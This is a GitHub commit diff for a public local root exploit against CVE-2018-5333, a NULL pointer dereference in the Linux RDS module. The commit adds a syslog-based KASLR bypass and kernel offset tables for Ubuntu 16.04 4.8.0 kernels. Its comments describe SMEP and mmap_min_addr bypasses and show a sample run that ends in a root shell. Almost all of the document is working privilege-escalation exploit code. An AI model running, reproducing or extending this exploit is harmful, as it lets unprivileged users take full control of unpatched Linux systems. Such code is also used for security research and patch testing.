Skip to content

Commit 2c32643

Browse files
committed
Add syslog KASLR bypass and offsets for 4.8.0 kernels
1 parent a5c4c72 commit 2c32643

File tree

1 file changed

+136
-13
lines changed

1 file changed

+136
-13
lines changed

CVE-2018-5333/cve-2018-5333.c

Lines changed: 136 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,11 @@
1-
// Local root exploit for rds_atomic_free_op NULL pointer dereference
1+
// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
22
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
33
//
44
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
5-
// Targets: Ubuntu 4.4.0 kernels <= 4.4.0-116-generic #140-Ubuntu SMP.
5+
//
6+
// Targets:
7+
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic #140-Ubuntu
8+
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic #57~16.04.1-Ubuntu
69
//
710
// The rds kernel module is not loaded by default on Ubuntu.
811
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
@@ -30,11 +33,15 @@
3033
// - check if system supports RDS sockets
3134
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
3235
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
33-
// - spender's /proc/kallsyms and /boot/System.map KASLR bypasses
36+
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
37+
// - https://grsecurity.net/~spender/exploits/exploit.txt
38+
// - spender's /boot/System.map KASLR bypass (requires readable System.map file)
3439
// - https://grsecurity.net/~spender/exploits/exploit.txt
40+
// - syslog KASLR bypass (requires kernel.dmesg_restrict=0)
41+
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
3542
//
36-
// Shoutouts to nstarke for adding additional kernel offsets.
37-
// - https://github.com/bcoles/kernel-exploits/pulls?q=is%3Apr+author%3Anstarke
43+
// Shoutout to nstarke for adding additional kernel offsets.
44+
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
3845
//
3946
// This exploit also uses various code patterns copied from:
4047
// - xairy's exploits:
@@ -44,6 +51,7 @@
4451
// ---
4552
// $ gcc cve-2018-5333.c -o cve-2018-5333
4653
// $ ./cve-2018-5333
54+
// Linux RDS rds_atomic_free_op NULL pointer dereference local root
4755
// [.] starting
4856
// [.] checking kernel version...
4957
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
@@ -54,12 +62,18 @@
5462
// [~] done, mapped null address
5563
// [.] KASLR bypass enabled, getting kernel addr
5664
// [.] trying /proc/kallsyms...
57-
// [.] trying /boot/System.map-4.4.0-116-generic...
58-
// [-] open/read(/boot/System.map-4.4.0-116-generic)
65+
// [-] kernel base not found in /proc/kallsyms
66+
// [.] trying /boot/System.map-4.4.0-116-lowlatency...
67+
// [-] open/read(/boot/System.map-4.4.0-116-lowlatency)
68+
// [.] trying syslog...
69+
// [-] kernel base not found in syslog
5970
// [.] trying mincore info leak...
60-
// [.] done, kernel text: ffffffff81000000
61-
// [.] commit_creds: ffffffff810a4cf0
62-
// [.] prepare_kernel_cred: ffffffff810a50e0
71+
// [.] done, kernel text: ffffffff9f000000
72+
// [.] commit_creds: ffffffff9f0a4cf0
73+
// [.] prepare_kernel_cred: ffffffff9f0a50e0
74+
// [.] mmapping fake stack...
75+
// [~] done, fake stack mmapped
76+
// [.] executing payload 402119...
6377
// [+] got root
6478
// # id
6579
// uid=0(root) gid=0(root) groups=0(root)
@@ -77,6 +91,7 @@
7791
#include <string.h>
7892
#include <stdint.h>
7993

94+
#include <sys/klog.h>
8095
#include <sys/mman.h>
8196
#include <sys/types.h>
8297
#include <sys/socket.h>
@@ -101,6 +116,7 @@
101116
#define ENABLE_SYSTEM_CHECKS 1
102117
#define ENABLE_KASLR_BYPASS 1
103118

119+
// Can be overwritten by argv[1]
104120
char *SHELL = "/bin/sh";
105121

106122
// Will be overwritten if ENABLE_KASLR_BYPASS
@@ -129,13 +145,39 @@ struct kernel_info kernels[] = {
129145
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
130146
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
131147
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
148+
149+
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
150+
151+
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
152+
{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
153+
{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
154+
{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
155+
{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
156+
{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
157+
{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
158+
{ "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
159+
{ "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
160+
{ "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
161+
{ "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
162+
{ "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
163+
{ "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
164+
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
165+
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
166+
167+
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
168+
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
169+
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
132170
};
133171

134172
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
135173
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
136174

137175
#define RAND_SIZE 4096
138176

177+
#ifndef SOL_RDS
178+
# define SOL_RDS 276
179+
#endif
180+
139181
void trigger_bug()
140182
{
141183
struct sockaddr_in sin;
@@ -303,10 +345,11 @@ struct utsname get_kernel_version() {
303345
}
304346

305347
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
348+
#define KERNEL_VERSION_SIZE_BUFFER 512
306349

307350
void detect_versions() {
308351
struct utsname u;
309-
char kernel_version[512];
352+
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
310353

311354
u = get_kernel_version();
312355

@@ -321,7 +364,7 @@ void detect_versions() {
321364
}
322365

323366
char *u_ver = strtok(u.version, " ");
324-
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
367+
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
325368

326369
int i;
327370
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
@@ -332,7 +375,7 @@ void detect_versions() {
332375
}
333376
}
334377

335-
dprintf("[-] kernel version not recognized\n");
378+
dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
336379
exit(EXIT_FAILURE);
337380
}
338381

@@ -363,6 +406,8 @@ unsigned long get_kernel_addr_kallsyms() {
363406
}
364407
if (!strcmp(name, sname)) {
365408
fclose(f);
409+
if (addr == 0)
410+
dprintf("[-] kernel base not found in %s\n", path);
366411
return addr;
367412
}
368413
}
@@ -412,6 +457,75 @@ unsigned long get_kernel_addr_sysmap() {
412457
return 0;
413458
}
414459

460+
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
461+
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
462+
463+
#define SYSLOG_ACTION_READ_ALL 3
464+
#define SYSLOG_ACTION_SIZE_BUFFER 10
465+
466+
int mmap_syslog(char** buffer, int* size) {
467+
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
468+
if (*size == -1) {
469+
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
470+
return 1;
471+
}
472+
473+
*size = (*size / getpagesize() + 1) * getpagesize();
474+
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
475+
476+
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
477+
if (*size == -1) {
478+
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
479+
return 1;
480+
}
481+
482+
return 0;
483+
}
484+
485+
unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
486+
const char* needle1 = "Freeing unused";
487+
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
488+
if (substr == NULL)
489+
return 0;
490+
491+
int start = 0;
492+
int end = 0;
493+
for (start = 0; substr[start] != '-'; start++);
494+
for (end = start; substr[end] != '\n'; end++);
495+
496+
const char* needle2 = "ffffff";
497+
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
498+
if (substr == NULL) {
499+
return 0;
500+
}
501+
502+
char* endptr = &substr[16];
503+
unsigned long r = strtoul(&substr[0], &endptr, 16);
504+
505+
r &= 0xfffffffffff00000ul;
506+
r -= 0x1000000ul;
507+
508+
return r;
509+
}
510+
511+
unsigned long get_kernel_addr_syslog() {
512+
unsigned long addr = 0;
513+
char* syslog;
514+
int size;
515+
516+
dprintf("[.] trying syslog...\n");
517+
518+
if (mmap_syslog(&syslog, &size))
519+
return 0;
520+
521+
addr = get_kernel_addr_syslog_xenial(syslog, size);
522+
523+
if (!addr)
524+
dprintf("[-] kernel base not found in syslog\n");
525+
526+
return addr;
527+
}
528+
415529
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
416530
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
417531

@@ -467,6 +581,9 @@ unsigned long get_kernel_addr() {
467581
addr = get_kernel_addr_sysmap();
468582
if (addr) return addr;
469583

584+
addr = get_kernel_addr_syslog();
585+
if (addr) return addr;
586+
470587
addr = get_kernel_addr_mincore();
471588
if (addr) return addr;
472589

@@ -503,6 +620,7 @@ void fork_shell() {
503620

504621
int main(int argc, char *argv[]) {
505622
if (argc > 1) SHELL = argv[1];
623+
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root\n");
506624

507625
dprintf("[.] starting\n");
508626

@@ -537,6 +655,8 @@ int main(int argc, char *argv[]) {
537655
dprintf("[.] commit_creds: %lx\n", commit_creds);
538656
dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
539657

658+
dprintf("[.] mmapping fake stack...\n");
659+
540660
uint64_t page_size = getpagesize();
541661
uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
542662
uint64_t stack_offset = xchg_esp % page_size;
@@ -587,6 +707,9 @@ int main(int argc, char *argv[]) {
587707
fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
588708
fake_stack[i++] = user_ss;
589709

710+
dprintf("[~] done, fake stack mmapped\n");
711+
712+
dprintf("[.] executing payload %lx...\n", (unsigned long)shell);
590713
trigger_bug();
591714

592715
return 0;

0 commit comments

Comments
 (0)